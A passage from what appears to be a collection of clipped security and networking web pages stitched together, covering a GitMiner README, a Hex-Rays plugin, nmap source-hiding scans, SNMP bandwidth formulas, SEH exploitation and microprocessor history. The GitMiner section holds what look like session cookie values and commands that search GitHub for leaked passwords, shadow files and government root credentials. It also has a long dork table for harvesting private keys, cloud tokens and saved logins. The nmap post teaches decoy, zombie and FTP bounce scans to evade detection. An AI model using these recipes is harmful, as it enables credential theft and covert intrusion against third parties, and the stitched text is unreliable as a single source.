      -c _octo=GH1.1.2098292984896.153133829439; _ga=GA1.2.36424941.153192375318; user_session=oZIxL2_ajeDplJSndfl37ddaLAEsR2l7myXiiI53STrfhqnaN; __Host-user_session_same_site=oXZxv9_ajeDplV0gAEsmyXiiI53STrfhDN; logged_in=yes; dotcom_user=unkl4b; tz=America%2FSao_Paulo; has_recent_activity=1; _gh_sess=MmxxOXBKQ1RId3NOVGpGcG54aEVnT1o0dGhxdGdzWVpySnFRd1dVYUk5TFZpZXFuTWxOdW1FK1IyM0pONjlzQWtZM2xtaFR3ZDdxlGMCsrWnBIdnhUN0tjVUtMYU1GeG5Pbm5DMThuWUFETnZjcllGOUNkRGUwNUtKOVJTaGR5eUJYamhWRE5XRnMWZZN3Y3dlpFNDZXL1NWUEN4c093RFhQd3RJQ1NBdmhrVDE3VVNiUFF3dHBycC9FeDZ3cFVXV0ZBdXZieUY5WDRlOE9ZSG5sNmRHUmllcmk0Up1MTcyTXZrN1RHYmJSdz09--434afdd652b37745f995ab55fc83, --cookie _octo=GH1.1.2098292984896.153133829439; _ga=GA1.2.36424941.153192375318; user_session=oZIxL2_ajeDplJSndfl37ddaLAEsR2l7myXiiI53STrfhqnaN; __Host-user_session_same_site=oXZxv9_ajeDplV0gAEsmyXiiI53STrfhDN; logged_in=yes; dotcom_user=unkl4b; tz=America%2FSao_Paulo; has_recent_activity=1; _gh_sess=MmxxOXBKQ1RId3NOVGpGcG54aEVnT1o0dGhxdGdzWVpySnFRd1dVYUk5TFZpZXFuTWxOdW1FK1IyM0pONjlzQWtZM2xtaFR3ZDdxlGMCsrWnBIdnhUN0tjVUtMYU1GeG5Pbm5DMThuWUFETnZjcllGOUNkRGUwNUtKOVJTaGR5eUJYamhWRE5XRnMWZZN3Y3dlpFNDZXL1NWUEN4c093RFhQd3RJQ1NBdmhrVDE3VVNiUFF3dHBycC9FeDZ3cFVXV0ZBdXZieUY5WDRlOE9ZSG5sNmRHUmllcmk0Up1MTcyTXZrN1RHYmJSdz09--434afdd652b37745f995ab55fc83
                            Specify the cookie for your github
    
    
[/code]

### EXAMPLE

Searching for wordpress configuration files with passwords:

[code]

    $:> python3 gitminer-v2.0.py -q 'filename:wp-config extension:php FTP_HOST in:file ' -m wordpress -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4 -o result.txt
    
[/code]

<img
src='img/68747470733a2f2f322e62702e626c6f6773706f742e636f6d2f2d4762707a524f6945796e512f56744c7974664d715169492f4141414141414141626e6b2f356844706850344d6266342f73313630302f776f7264707265737345582e706e67.png'
width='576' height='417' alt='Screenshot' />

Looking for brasilian government files containing passwords:

[code]

    $:> python3 gitminer-v2.0.py --query 'extension:php "root" in:file AND "gov.br" in:file' -m senhas -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
    
[/code]

Looking for shadow files on the etc paste:

[code]

    $:> python3 gitminer-v2.0.py --query 'filename:shadow path:etc' -m root -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
    
[/code]

Searching for joomla configuration files with passwords:

[code]

    $:> python3 gitminer-v2.0.py --query 'filename:configuration extension:php "public password" in:file' -m joomla -c pAAAhPOma9jEsXyLWZ-16RTTsGI8wDawbNs4
    
[/code]

<img
src='img/68747470733a2f2f332e62702e626c6f6773706f742e636f6d2f2d3141734e6d464b66736f412f56744c79764a46793257492f4141414141414141626e6f2f433778546278747a4f6f382f73313630302f6a6f6f6d6c6145582e706e67.png'
width='576' height='417' alt='Screenshot' />

### Hacking SSH Servers

<img
src='img/68747470733a2f2f696d672e796f75747562652e636f6d2f76692f79494a4f6c4b5a775151772f302e6a7067.jpg'
width='480' height='360' alt='Hacking SSH Servers' />

### Dork to search

##### by @techgaun \(https://github.com/techgaun/github-dorks\)

Dork | Description  
---|---  
filename:.npmrc \_auth | npm registry authentication data  
filename:.dockercfg auth | docker registry authentication data  
extension:pem private | private keys  
extension:ppk private | puttygen private keys  
filename:id\_rsa or filename:id\_dsa | private ssh keys  
extension:sql mysql dump | mysql dump  
extension:sql mysql dump password | mysql dump look for password; you can try varieties  
filename:credentials aws\_access\_key\_id | might return false negatives with dummy values  
filename:.s3cfg | might return false negatives with dummy values  
filename:wp-config.php | wordpress config files  
filename:.htpasswd | htpasswd files  
filename:.env DB\_USERNAME NOT homestead | laravel .env \(CI, various ruby based frameworks too\)  
filename:.env MAIL\_HOST=smtp.gmail.com | gmail smtp configuration \(try different smtp services too\)  
filename:.git-credentials | git credentials store, add NOT username for more valid results  
PT\_TOKEN language:bash | pivotaltracker tokens  
filename:.bashrc password | search for passwords, etc. in .bashrc \(try with .bash\_profile too\)  
filename:.bashrc mailchimp | variation of above \(try more variations\)  
filename:.bash\_profile aws | aws access and secret keys  
rds.amazonaws.com password | Amazon RDS possible credentials  
extension:json api.forecast.io | try variations, find api keys/secrets  
extension:json mongolab.com | mongolab credentials in json configs  
extension:yaml mongolab.com | mongolab credentials in yaml configs \(try with yml\)  
jsforce extension:js conn.login | possible salesforce credentials in nodejs projects  
SF\_USERNAME salesforce | possible salesforce credentials  
filename:.tugboat NOT \_tugboat | Digital Ocean tugboat config  
HEROKU\_API\_KEY language:shell | Heroku api keys  
HEROKU\_API\_KEY language:json | Heroku api keys in json files  
filename:.netrc password | netrc that possibly holds sensitive credentials  
filename:\_netrc password | netrc that possibly holds sensitive credentials  
filename:hub oauth\_token | hub config that stores github tokens  
filename:robomongo.json | mongodb credentials file used by robomongo  
filename:filezilla.xml Pass | filezilla config file with possible user/pass to ftp  
filename:recentservers.xml Pass | filezilla config file with possible user/pass to ftp  
filename:config.json auths | docker registry authentication data  
filename:idea14.key | IntelliJ Idea 14 key, try variations for other versions  
filename:config irc\_pass | possible IRC config  
filename:connections.xml | possible db connections configuration, try variations to be specific  
filename:express.conf path:.openshift | openshift config, only email and server thou  
filename:.pgpass | PostgreSQL file which can contain passwords  
filename:proftpdpasswd | Usernames and passwords of proftpd created by cpanel  
filename:ventrilo\_srv.ini | Ventrilo configuration  
\[WFClient\] Password= extension:ica | WinFrame-Client infos needed by users to connect toCitrix Application Servers  
filename:server.cfg rcon password | Counter Strike RCON Passwords  
JEKYLL\_GITHUB\_TOKEN | Github tokens used for jekyll  
filename:.bash\_history | Bash history file  
filename:.cshrc | RC file for csh shell  
filename:.history | history file \(often used by many tools\)  
filename:.sh\_history | korn shell history  
filename:sshd\_config | OpenSSH server config  
filename:dhcpd.conf | DHCP service config  
filename:prod.exs NOT prod.secret.exs | Phoenix prod configuration file  
filename:prod.secret.exs | Phoenix prod secret  
filename:configuration.php JConfig password | Joomla configuration file  
filename:config.php dbpasswd | PHP application database password \(e.g., phpBB forum software\)  
path:sites databases password | Drupal website database credentials  
shodan\_api\_key language:python | Shodan API keys \(try other languages too\)  
filename:shadow path:etc | Contains encrypted passwords and account information of new unix systems  
filename:passwd path:etc | Contains user account information including encrypted passwords of traditional unix systems  
extension:avastlic | Contains license keys for Avast\! Antivirus  
extension:dbeaver-data-sources.xml | DBeaver config containing MySQL Credentials  
filename:.esmtprc password | esmtp configuration  
extension:json googleusercontent client\_secret | OAuth credentials for accessing Google APIs  
HOMEBREW\_GITHUB\_API\_TOKEN language:shell | Github token usually set by homebrew users  
xoxp OR xoxb | Slack bot and private tokens  
.mlab.com password | MLAB Hosted MongoDB Credentials  
filename:logins.json | Firefox saved password collection \(key3.db usually in same repo\)  
filename:CCCam.cfg | CCCam Server config file  
msg nickserv identify filename:config | Possible IRC login passwords  
filename:settings.py SECRET\_KEY | Django secret keys \(usually allows for session hijacking, RCE, etc\)  
  

# REhints/HexRaysCodeXplorer · GitHub

**Created:**| _9/11/2015 12:40:12 PM_  
---|---  
**Updated:**| _9/11/2015 12:40:12 PM_  
**Author:**| __  
**Tags:**| _Decompiler reversing_  
  

# REhints/HexRaysCodeXplorer

###  README.md

[code]

     _   _          ______                _____           _     __   __      _                     
    | | | |         | ___ \              /  __ \         | |    \ \ / /     | |                    
    | |_| | _____  _| |_/ /__ _ _   _ ___| /  \/ ___   __| | ___ \ V / _ __ | | ___  _ __ ___ _ __ 
    |  _  |/ _ \ \/ /    // _` | | | / __| |    / _ \ / _` |/ _ \/   \| '_ \| |/ _ \| '__/ _ \ '__|
    | | | |  __/>  <| |\ \ (_| | |_| \__ \ \__/\ (_) | (_| |  __/ /^\ \ |_) | | (_) | | |  __/ |   
    \_| |_/\___/_/\_\_| \_\__,_|\__, |___/\____/\___/ \__,_|\___\/   \/ .__/|_|\___/|_|  \___|_|   
                                 __/ |                                | |                          
                                |___/                                 |_|
[/code]

Hex-Rays Decompiler plugin for better code navigation in RE process of C++
applications or code reconstruction of modern malware as Stuxnet, Flame,
Equation ... <img src='img/Temp2_6691.png' width='20' height='20'
alt=':octocat:' />

**Contributors** :

Alex Matrosov \(@matrosov\)

Eugene Rodionov \(@rodionov\)

Rodrigo Branco \(@rrbranco\)

Gabriel Barbosa \(@gabrielnb\)

**HexRaysCodeXplorer** \- Hex-Rays Decompiler plugin for easier code
navigation. Right-click context menu in the Pseudocode window shows
CodeXplorer plugin commands:

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/1.png'
alt='1' />

**Here are the main features of the plugin:**

  * **_Automatic type REconstruction_** for C++ objects. To be able to reconstruct a type using HexRaysCodeXplorer one needs to select the variable holding pointer to the instance of position independed code or to an object and by right-button mouse click select from the context menu «REconstruct Type» option:

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/2.png'
alt='2' />

The reconstructed structure is displayed in “Output window”. Detailed
information about type Reconstruction feature is provided in the blog post
“Type REconstruction in HexRaysCodeXplorer”.

Also CodeXplorer plugin supports auto REconstruction type into IDA local types
storage.

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/6.png'
alt='6' />

  * **_Virtual function table identification_** \- automatically identifies references to virtual function tables during type reconstruction. When a reference to a virtual function table is identified the plugin generates a corresponding C-structure. As shown below during reconstructing `struct_local_data_storage` two virtual function tables were identified and, as a result, two corresponding structures were generated: `struct_local_data_storage_VTABLE_0` and `struct_local_data_storage_VTABLE_4`.

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/12.png'
alt='12' />

  * **_C-tree graph visualization_** – a special tree-like structure representing a decompiled routine in citem\_t terms \(hexrays.hpp\). Useful feature for understanding how the decompiler works. The highlighted graph node corresponds to the current cursor position in the HexRays Pseudocode window:

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/3.png'
alt='3' />

  * **_Navigation through virtual function calls_** in HexRays Pseudocode window. After representing C++ objects by C-structures this feature make possible navigation by mouse clicking to the virtual function calls as structure fields:

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/4.png'
alt='4' />

  * **_Jump to Disasm_** \- small feature for navigate to assembly code into "IDA View window" from current Pseudocode line position. It is help to find a place in assembly code associated with decompiled line. 

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/8.png'
alt='8' />

  * **_Object Explorer_** – useful interface for navigation through virtual tables \(VTBL\) structures. Object Explorer outputs VTBL information into IDA custom view window. The output window is shown by choosing «Object Explorer» option in right-button mouse click context menu:

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/5.png'
alt='5' />

**Object Explorer supports folowing features:**

  * Auto structures generation for VTBL into IDA local types
  * Navigation in virtual table list and jump to VTBL address into "IDA View" window by click
  * Show hints for current position in virtual table list
  * Shows cross-references list by click into menu on "Show XREFS to VTBL"

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/11.png'
alt='11' />

  * Basic RTTI objects parsing

<img src='https://github.com/REhints/HexRaysCodeXplorer/raw/master/img/7.png'
alt='7' />

**Conference talks about CodeXplorer plugin:**

  * **2015**
    * "Distributing the REconstruction of High-Level IR for Large Scale Malware Analysis", BHUS \[slides\]
    * "Object Oriented Code RE with HexraysCodeXplorer", NSEC \[slides\]
  * **2014**
    * "HexRaysCodeXplorer: object oriented RE for fun and profit", H2HC \[slides\]
  * **2013**
    * "HexRaysCodeXplorer: make object-oriented RE easier", ZeroNights \[slides\]
    * "Reconstructing Gapz: Position-Independent Code Analysis Problem", REcon \[slides\]

# hping3 « Spare Clock Cycles

**Created:**| _7/30/2013 10:31:55 AM_  
---|---  
**Updated:**| _7/30/2013 10:31:55 AM_  
**Author:**| __  
**Tags:**| _vulnerability port tcp_  
  

# Spare Clock Cycles Hacking is freedom**.**

18Apr/1010

## The Art of Nmap Scanning, Part 1: Source Address Hiding and Obfuscation
Techniques****

This is the first part in a series of posts that I am writing on the wonderful
world of nmap , one of the most useful tools out there for the aspiring
hacker**.** In this post, I will demonstrate a number of ways in which one can
obscure, or even completely hide, the source IP address of port scans  during
a pen test from the eyes of even the most diligent sysadmin's logs, allowing
you to hide in a wonderful shroud of anonymity until you decide when and where
to strike**.** As a bonus, many of these techniques can also be used to scan
hosts that might otherwise have been unaccessible or only partially accessible
to a normal scan, letting us map out the network much more effectively**.**

## SOCKS Proxy Scanning****

Probably the most obvious and straightforward of the techniques in this post,
this strategy requires access to a public SOCKS  proxy \(list here \), a
compromised/public SSH host, or \(if you wish to abuse the service, and have
your scans be incredibly slow and probably not very reliable\) Tor **.** It
also requires proxychains  \(or a similar application, like tsocks \) to be
installed on your system**.** Essentially, the idea is that instead of
connecting directly to your target, as you normally would, you route your
connect scan through one or more SOCKS proxies before finally attempting to
connect to the given host and port**.** To do this is quite easy: simply set
up proxychains as in my previous post , and use the following command to scan
your host:

[code]

    proxychains nmap -sT -PO target_host
[/code]  
---  
And that's pretty much all there is to it**.** However, there are some
significant downsides to using this method to avoid detection**.** First, any
open SOCKS proxies you use might be logging all of your actions \(or could
even be a honeypot \), pretty much defeating the purpose of using it in the
first place**.** In addition, routing your connections through proxies also
obviously causes issues with latency, slowing down your scans both because you
have to actually complete the three-way handshake \(can't use SYN scans\), and
because you are simply adding more hops to the route**.** However, it can be
useful in cases where you need to tunnel your scans into \(or out of\) a
network, it allows for the proper execution \(through the proxy\) of most nmap
detection scripts, and is pretty easy to set up, so it's something to keep in
mind**.**

## SYN Scan Spoofing****

While this technique does not completely hide one's IP address from being
logged, it does at least prevent a system administrator from being able to
determine the true source of a scan, absent any extra probing attempts**.**
Essentially, nmap's SYN scan spoofing takes advantage of the fact that,
because you are not trying to complete the three-way TCP handshake, you can
spoof your address to be anything you want without consequence**.** Of course,
you won't be able to see the results of the scan unless you use your IP
address because you won't receive the SYN-ACK if you don't \(unless you're
using idle scanning, which we will see shortly\)**.** However, you CAN hide
your real IP address in a sea of fakes, preventing a concerned administrator
from being able to trace back the true origin of the scan before you launch
your assault**.** Neat, huh**?** Here's all you need to do:

[code]

    sudo nmap -sS -P0 -D decoy_host1,decoy_host2,decoy_host3 target_host
[/code]  
---  
A brief explanation: the "-sS" flag specifies that nmap should use a SYN scan,
and the -D flag allows us to input an arbitrary amount of decoy hosts to add
to our scan**.** The -P0 flag, as before, disables ICMP pings, so once again
you might be scanning a host that is down**.** The more decoys you add, the
more hidden you will stay, but the slower your scan will go**.** If you are on
a local network, also note that this will not change your MAC  address, and
this could definitely be logged \(and is a dead giveaway that something bad is
going on**.**\) In addition, don't use the -A flag \(or similar\), as the
version detection techniques used by nmap could expose your IP address \(more
here  if you're curious\)**.** Despite these limitations, this scan is
definitely quite effective at hiding your identity, and, because of how easy
it is to use, is probably the first one that you want to turn to for general
scanning**.**

## Zombie \(Idle\) Scanning****

Probably the coolest \(and most complex\) of these techniques is the idle scan
\(more awesomely known as the zombie scan\)**.** The concept behind zombie
scanning is essentially to, in the great tradition of hacking, turn the logic
of TCP protocol against itself**.** Rather than lengthen this already lengthy
post with a description of how this scan works, I will refer the interested
person to nmap's very thorough documentation of the scan **.** In very short,
though, this technique can completely hide your IP address, given you can find
a zombie host that is receiving very little traffic and has predictable IP
ID's**.** Now, these can be pretty tough requirements, as most modern OS's
have switched to rather unpredictable ID's, but if you can find an older host
\(think printers, legacy systems\) that has these features this is probably
the best attack out of the lot as anonymity goes**.** The easiest way to go
about doing this is to either a.\) just scan the network with nmap and look
for hosts that look unkempt, or b.\) \(my preferred method\) just use your
reverse DNS mapping of the network  to find a printer, which in all likelihood
will be suitable as a zombie**.** To check if your chosen host is vulnerable,
you can use the useful tool hping3:

[code]

    sudo hping3 -Q target_host -p port -S
[/code]  
---  
This sends SYN packets to the host and prints out the difference in IP ID's
between the current and previous SYN+ACKs received**.** This is sample output
from a host that could be used for a zombie scan:

[code]

    HPING [target] (eth0 [target]):
     100949560 +100949560
     100949570 +10
     100949580 +10
     100949590 +10
[/code]

If you can find a host like this, it truly and completely hides your IP
address from the victim host**.** Here's all you need to do with nmap:

[code]

    sudo nmap -P0 -sI zombie_host target_host
[/code]  
---  
That's all there is to it**\!** Given you found a suitable host, nmap will now
scan the target host, and it will look as though the zombie host is the
malicious host**.** Sneaky, huh? Note: if the zombie host receives ANY extra
traffic during your scan from other hosts, you could get invalid scan
results**.** Keep in mind that your results might not be wholly accurate using
this method, and that scanning using this method can be quite slow**.**

## FTP Bounce Scanning****

The final technique I will be presenting here is FTP bounce scanning, a
slightly more obscure but definitely useful method of port scanning**.** When
the FTP protocol was first defined in RFC 959 , it contained an interesting
specification: that the PORT command could be used to attempt to connect to a
port on another machine**.** While useful, certainly, for connecting to other
FTP servers easily, it's writers \(fortunately or unfortunately\) didn't
realize that this could and would be abused**.** The specifications were
changed, but many older FTP servers still have this vulnerability \(especially
many network printers, oddly enough\)**.** If you can find a host that has an
FTP server with this problem \(which, nicely enough, nmap can scan for with
the -A flag\), you can use this scan to force the FTP server to act as an
unwilling proxy for your scan, completely hiding your IP address**.** It can
also, nicely, be used to scan inside a network in the case that the FTP server
is exposed but the rest of the network isn't**.** In addition, you could also
possibly use it to launch further attacks against the host, as FTP bounce
servers can be used to proxy arbitrary data onto a TCP connection**.** So
what's the downside? It is SLOW**.** Very, very slow. I'm working on a script
that can divide the scanning amongst multiple FTP bounce servers, which could
speed things up a bit, but it still has some bugs to work out \(I'll update
here with a post when I get time to finish it\)**.** Really though, it's best
to keep this one for when anonymity is a must and speed is not a concern**.**
For those situations, though, it works perfectly. Here's how to do it:

[code]

    nmap -P0 -b ftp_bounce_host target_host
[/code]  
---  
Wait awhile, and you will hopefully have a list of open ports, and your victim
will be wondering why a network printer just tried connecting to some ports on
their system**.** Win\!

## Conclusion****

"When you do things right, people won't be sure you've done anything at
all**.** " \--Futurama

Although each technique here is great at hiding your identity while port
scanning, that doesn't give you a license to be stupid and scan anything and
everything**.** Be selective \(and be legal\). While it's great to know that
J. Random Sysadmin isn't going to be able to track you down if he notices
something, it'd be best if he never noticed anything at all**.** After all, it
may put people on their guard, which could make your job much, much
harder**.** Chose which hosts and ports you want to focus on selectively \(see
my reverse DNS scanning tool \), only enable features in nmap that require
extra connections when you have to \(nmap documentation \), and, for the love
of zombie jesus, don't use -p1-65535 unless you ABSOLUTELY have to**.** Stick
to those rules, and things should go quite well**.**

In my next post, I will be exploring the IDS/IPS evasion techniques built into
nmap, that can allow you to scan behind otherwise restrictive firewalls**.**
Until then, have fun scanning\!

****

# How To Calculate Bandwidth Utilization Using SNMP - Cisco

**Created:**| _2/26/2014 3:16:26 PM_  
---|---  
**Updated:**| _2/26/2014 3:16:26 PM_  
**Author:**| __  
**Tags:**| _routers management_  
  

# IP Application Services

## How To Calculate Bandwidth Utilization Using SNMP

##  Introduction

This document describes how to calculate bandwidth use with Simple Network
Management Protocol \(SNMP\).

##  Prerequisites

###  Requirements

There are no specific requirements for this document.

###  Components Used

This document is not restricted to specific software and hardware versions.

The information in this document was created from the devices in a specific
lab environment. All of the devices used in this document started with a
cleared \(default\) configuration. If your network is live, make sure that you
understand the potential impact of any command.

###  Conventions

For more information on document conventions, refer to the Cisco Technical
Tips Conventions.

##  Problem

It is sometimes necessary to calculate bandwidth use with SNMP.

##  Solution

Use this solution to solve this problem.

How you calculate use depends on how data is presented for what you want to
measure. Interface use is the primary measure used for network use. Use this
formulas, based on whether the connection you measure is half-duplex or full-
duplex. Shared LAN connections tend to be half-duplex, mainly because
contention detection requires that a device listen before it transmits. WAN
connections are full-duplex because the connection is point-to-point; both
devices can transmit and receive at the same time because they know there is
only one other device that shares the connection. Because MIB-II variables are
stored as counters, you must take two poll cycles and figure the difference
between the two \(hence, the delta used in the equation\).

This explains the variables used in the formulas:

<img src='img/Temp2_4033.gif' alt='calculate_bandwidth_snmp.gif' />

**Note:** ifSpeed does not accurately reflect the speed of a WAN interface.

For half-duplex media, use this formula for interface use:

<img src='img/Temp2_4035.gif' alt='calculate_bandwidth_snmp1.gif' />

It is more challenging to calculate for full-duplex media. For example, with a
full T-1 serial connection, the line speed is 1.544 Mbps. Therefore, a T-1
interface can both receive and transmit 1.544 Mbps for a combined possible
bandwidth of 3.088 Mbps\!

When you calculate the interface bandwidth for full-duplex connections, you
can use this formula, where you take the larger of the in and out values and
generate a use percentage:

<img src='img/Temp2_4034.gif' alt='calculate_bandwidth_snmp2.gif' />

However, this method hides the use of the direction with the lesser value and
provides less accurate results. A more accurate method is to measure the input
use and output use separately, with this formula:

<img src='img/Temp2_4032.gif' alt='calculate_bandwidth_snmp3.gif' />

These formulas are simplified because they do not consider overhead associated
with the protocol. For example, refer to RFC 1757 Ethernet-utilization
formulas that consider packet overhead.

All of the MIB attributes listed are also in RFC1213 MIB.

Details of the MIB variables used in these formulas are:

>
[code]

>     **.1.3.6.1.2.1.2.2.1.10
>     ifInOctets** OBJECT-TYPE
>     -- FROM RFC1213-MIB, IF-MIB
>     SYNTAX          Counter
>     MAX-ACCESS      read-only
>     STATUS          Mandatory
>     DESCRIPTION    "The total number of octets received on the interface,
> including framing characters."
>     ::= { iso(1) org(3) dod(6) internet(1) mgmt(2) mib-2(1) interfaces(2)
> ifTable(2) ifEntry(1) 10 }
>  
>     **.1.3.6.1.2.1.2.2.1.16
>     ifOutOctets** OBJECT-TYPE
>     -- FROM RFC1213-MIB, IF-MIB
>     SYNTAX          Counter
>     MAX-ACCESS      read-only
>     STATUS          Mandatory
>     DESCRIPTION    "The total number of octets transmitted out of the
> interface, including framing characters."
>     ::= { ISO(1) org(3) DOD(6) Internet(1) mgmt(2) mib-2(1) interfaces(2)
> ifTable(2) ifEntry(1) 16 }
>  
>     **.1.3.6.1.2.1.2.2.1.5
>     ifSpeed** OBJECT-TYPE
>     -- FROM RFC1213-MIB, IF-MIB
>     SYNTAX          Gauge
>     MAX-ACCESS      read-only
>     STATUS          Mandatory
>     DESCRIPTION    "An estimate of the interface's current bandwidth in bits
> per second.  
>     For interfaces which do not vary in bandwidth or for those where no
> accurate estimation can be made,
>     this object should contain the nominal bandwidth."
>     ::= { ISO(1) org(3) DOD(6) Internet(1) mgmt(2) mib-2(1) interfaces(2)
> ifTable(2) ifEntry(1) 5 }
>  
>  
>  
[/code]

##  Related Information

# Marco Ramilli's Blog: POP POP RET: SEH Exploiting process

**Created:**| _11/28/2011 8:45:16 AM_  
---|---  
**Updated:**| _11/28/2011 8:45:16 AM_  
**Author:**| __  
**Tags:**| _windows seh_  
  

## POP POP RET: SEH Exploiting process

Nov

27

This morning I want to talk a little bit about Structured Exception Handling
\(SEH\) exploitation. Some readers, during a Skype meeting early last week,
pointed me out that I never wrote about it, se lets talk a little bit about
it.

  

First of all SEH is a piece of code written in the application with the
purpose of dealing with exceptions. Each exception is a special event that
interrupts the "normal" program behavior, and it mostly happens during errors
and/or unexpected behaviors. Writing exception handlers are one of the "best
practice" in software engineering. Each exception handler, once compiled from
the favorite language, is mapped into the stack in 8 Bytes divided into 2
pointers.

  1. Pointer to the next "exception registration" structure. This pointer is only used in case of the current handler is not able to catch the exception.
  2. Pointer to the actual code. This pointer points to the actual code of the current handler which tries to handle the happened exception.

The following image \(click on it to make it bigger\) shows how the structured
chain is build over the stack

  

<img src='img/Temp2_5217.png' width='320' height='249' />

  

Obviously from the attacker point of view, overwriting SEH pointers could mean
hijacking control flow and/or executing arbitrary instructions. So the first
question to be answered is: where is place the SEH chain in the stack layout ?
The following image \(click on it to make it bigger\) shows where SEH chain is
placed.

  

<img src='img/Temp2_5215.png' width='320' height='320' />

  

  

  

  

As you can note in \(%EBP - 12\) is placed the SEH Handler while in \(%EBP -
16\) is placed the Next SEH Frame. It seems pretty easy so far right ? But in
the reality there are a couple of protections that must be investigated:

  * XOR. Before the exception handler is called all the register are cleaned \(xored each other\) 
  * DEP and Stack Cookies Stack Cookies or Canary words are setup. DEP or NX bit set to 0 \(non executable area\) 
  * SafeSEH Saves and checks the original value of SEH. If it has been overwritten SafeSEH brings it back to the original value. 

Those actions make difficult the exploiting process to SEH chains. I am not
going to talk about DEP, I've been widely discussed about it in these posts,
so lets see what we have so far:

Firstly we cannot jump to the stack, the registers are "XORed", so we cannot
use the JMP to Register technique to point to our shellcode or to our PAYLOAD.
BUT, we can overwrite SE Handler address. The OS knows the exception handling
routing so it will pass the control flow to the next SEH record. We need to
make the pointer to "next SEH" bringing us to the injected Shellcode.

  

In other words, the injected PAYLOAD should follow these steps:

  1. Cause an exception. Without exception the SEH handler won’t start. 
  2. Overwrite the pointer to the next SEH with some jumpcode \(to make it jump to the shell code\).
  3. Overwrite the SE handler with a pointer to an instruction that brings the control back to next SEH executing the jumpcode. \(The shellcode should be directly placed after the overwritten SE Handler\)

  

The following image \(click on it to make it bigger\) shows how to implement
the SEH Exploiting process \(from this image you can understand the post
title\)

<img src='img/Temp2_5216.png' width='400' height='263' />

  

  

  

  

Again, the attacker needs to force an exception \(by injecting the PAYLOAD\).
The exception causes the execution of the current SEHandler. The current
SEHandler has been replaced by the attacker to make a short jump \( If DEP
then Gadget to POP POP RET\) to the pointer to the next SEHandler which point
to the injected Shellcode. In the previous image it has been assumed an active
DEP protection and for that the Current SEHandler points to a POP POP RET
gadget which increments %SP and returns to the next SEhandler pointer which it
points to the injected Shellcode.

That's all for today.

# Great moments in microprocessor history

**Created:**| _1/18/2011 9:54:43 AM_  
---|---  
**Updated:**| _1/18/2011 9:55:03 AM_  
**Author:**| __  
**Tags:**| _hardware_  
  

# Great moments in microprocessor history

_The history of the micro from the vacuum tube to today's dual-core
multithreaded madness_

W. Warner \(wade1warner@yahoo.com\), Author, Freelance

**Summary:** The evolution of the modern microprocessor is one of many
surprising twists and turns. Who invented the first micro? Who had the first
32-bit single-chip design? You might be surprised at the answers. This article
shows the defining decisions that brought the contemporary microprocessor to
its present-day configuration.

Tag this\!

Update My dW interests \(Log in | What's this?\)Skip to help for Update My dW interests
**Date:** 22 Dec 2004  
**Level:** Introductory  
  
**Activity:** 52763 views  
**Comments:** 0 \(View | Add comment \- Sign in\)
<img src='img/Temp2_3527.jpg' alt='Average rating 4 stars based on 451 votes'
/> Average rating \(451 votes\)  
Rate this article

At the dawn of the 19th century, Benjamin Franklin's discovery of the
principles of electricity were still fairly new, and practical applications of
his discoveries were few -- the most notable exception being the lightning
rod, which was invented independently by two different people in two different
places. Independent contemporaneous \(and not so contemporaneous\) discovery
would remain a recurring theme in electronics.

So it was with the invention of the vacuum tube -- invented by Fleming, who
was investigating the Effect named for and discovered by Edison; it was
refined four years later by de Forest \(but is now rumored to have been
invented 20 years prior by Tesla\). So it was with the transistor: Shockley,
Brattain and Bardeen were awarded the Nobel Prize for turning de Forest's
triode into a solid state device -- but they were not awarded a patent,
because of 20-year-prior art by Lilienfeld. So it was with the integrated
circuit \(or IC\) for which Jack Kilby was awarded a Nobel Prize, but which
was contemporaneously developed by Robert Noyce of Fairchild Semiconductor
\(who got the patent\). And so it was, indeed, with the microprocessor.

Before the flood: The 1960s

Just a scant few years after the first laboratory integrated circuits,
Fairchild Semiconductor introduced the first commercially available integrated
circuit \(although at almost the same time as one from Texas Instruments\).

Already at the start of the decade, process that would last until the present
day was available: commercial ICs made in the planar process were available
from both Fairchild Semiconductor and Texas Instruments by 1961, and TTL
\(transistor-transistor logic\) circuits appeared commercially in 1962. By
1968, CMOS \(complementary metal oxide semiconductor\) hit the market. There
is no doubt but that technology, design, and process were rapidly evolving.

Observing this trend, Fairchild Semiconductor's director of Research &
Development Gordon Moore observed in 1965 that the density of elements in ICs
was doubling annually, and predicted that the trend would continue for the
next ten years. With certain amendments, this came to be known as Moore's Law.

The first ICs contained just a few transistors per wafer; by the dawn of the
1970s, production techniques allowed for thousands of transistors per wafer.
It was only a matter of time before someone would use this capacity to put an
entire computer on a chip, and several someones, indeed, did just that.

Back to top

Development explosion: The 1970s

The idea of a computer on a single chip had been described in the literature
as far back as 1952 \(see Resources\), and more articles like this began to
appear as the 1970s dawned. Finally, process had caught up to thinking, and
the computer on a chip was made possible. The air was electric with the
possibility.

Once the feat had been established, the rest of the decade saw a proliferation
of companies old and new getting into the semiconductor business, as well as
the first personal computers, the first arcade games, and even the first home
video game systems -- thus spreading consumer contact with electronics, and
paving the way for continued rapid growth in the 1980s.

At the beginning of the 1970s, microprocessors had not yet been introduced. By
the end of the decade, a saturated market led to price wars, and many
processors were already 16-bit.

The first three

At the time of this writing, three groups lay claim for having been the first
to put a computer in a chip: The Central Air Data Computer \(CADC\), the
Intel® 4004, and the Texas Instruments TMS 1000.

The CADC system was completed for the Navy's "TomCat" fighter jets in 1970. It
is often discounted because it was a chip set and not a CPU. The TI TMS 1000
was first to market in calculator form, but not in stand-alone form -- that
distinction goes to the Intel 4004, which is just one of the reasons it is
often cited as the first \(incidentally, it too was just one in a chipset of
four\).

In truth, it does not matter who was first. As with the lightning rod, the
light bulb, radio -- and so many other innovations before and after -- it
suffices to say it was in the aether, it was inevitable, its time was come.

**Where are they now?**  
CADC spent 20 years in top-secret, cold-war-era mothballs until finally being
declassified in 1998. Thus, even if it was the first, it has remained under
most people's radar even today, and did not have a chance to influence other
early microprocessor design.

